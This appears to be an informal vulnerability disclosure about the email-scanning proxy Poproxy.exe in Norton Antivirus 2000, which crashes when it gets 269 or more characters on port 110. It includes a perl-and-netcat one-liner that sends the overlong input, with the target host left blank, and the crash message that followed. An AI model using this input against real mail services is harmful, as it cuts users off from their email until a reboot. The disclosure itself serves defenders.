Nortan Antivirus 2000 Poproxy.exe problem

Poproxy.exe is the email virus scanner included in Nortan Antivirus 2000 (maybe
other versions too). It listens on port 110 and acts as a mail server,
retreiving your mail then scanning it, and passing it along to the mail client
(i think).

While messing around with this i crashed the server by sending it
too many characters (269 or more). Once the program crashes the
user is unable to receive email until the next reboot (or poproxy.exe is run

perl -e '{print "A"x269}' |nc 110

where is the windows machine running poproxy.exe

The output i got was:
POPROXY caused an invalid page fault in module MFC42.DLL at 014f:5f490453.
